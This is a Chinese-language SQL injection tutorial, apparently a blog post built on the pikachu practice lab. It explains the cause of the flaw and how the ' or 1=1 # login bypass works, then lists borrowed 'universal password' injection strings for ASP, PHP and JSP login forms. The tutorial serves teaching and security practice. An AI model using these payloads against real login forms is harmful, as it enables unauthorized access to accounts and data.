目录
基于pikachu靶场进行实验,后续更新双注入,盲注,cookie注入,HTTP-Referer注入
一.什么是SQL注入
SQL注入是服务器端未严格校验客户端发送的数据,而导致服务端SQL语句被恶意修改并成功执行的行为称为SQL注入。
二.SQL注入原因
产生SQL注入的原因是接受相关参数未经处理直接带入数据库进行查询操作,其产生与平台、脚本无关!
三.SQL注入危害
攻击者可以访问数据库中的数据,盗取用户的信息,造成用户的信息泄露,还可以对数据库的数据进行任意操作,添加管理员账户进行登录等等。
四.简单OR漏洞原理
剖析登录过程
- 正常情况下,我们在前端页面输入用户名和密码,前端数据会传到后端的数据库进行查询,验证是否存在此用户,其在数据库进行查询的语句如下:
select * from 表名 where name=‘xxx’ and password=’xxx‘;
- 若不对参数进行过滤,存在SQL注入,我们就可以构造以下的信息来进行登录:
用户名:'or 1=1 #
密码:任意
- 成功登录的原因是输入的信息传到后端数据库进行查询的语句如下:
select * from 表名 where name='' or 1=1 # ' and password=’xxx';
相当于
select * from 表名;
'号的作用是闭合变量的值,#号的作用是注释后面的语句,注释的符号根据数据库类型而定, or 1=1这个语句是无论什么时候都是正确的,因为or连接的条件中只要其一正确,命题就为真,恰好1=1这个条件就是恒成立的。
五.万能密码参考
此处出自https://me.csdn.net/dyw_666666
asp aspx万能密码
- or 1=1- -
- 'or 1=1- -
- "or 1=1- -
- ‘or"=’
- ‘or’=‘or’
- "or “a”="a
- ')or(‘a’='a
- a’or’ 1=1- -
- ‘or’a’='a
- “or”="a’='a
- 1 or 1’=‘1’=1
- 1 or ‘1’=‘1’ or 1=1
- 'or 1=1%00
- "or 1=1%00
- 'xor
- admin’ or ‘a’='a
php万能密码
- ‘or’=‘or’
- 'or 1=1/* 字符型 GPC是否开都可以使用
- User: something Password: ’ or ‘1’='1
jsp万能密码
- 1’or’1’='1
- admin’ or 1=1/*
- 用户名:admin 系统存在这个用户的时候 才用得上 密码:1’or’1’='1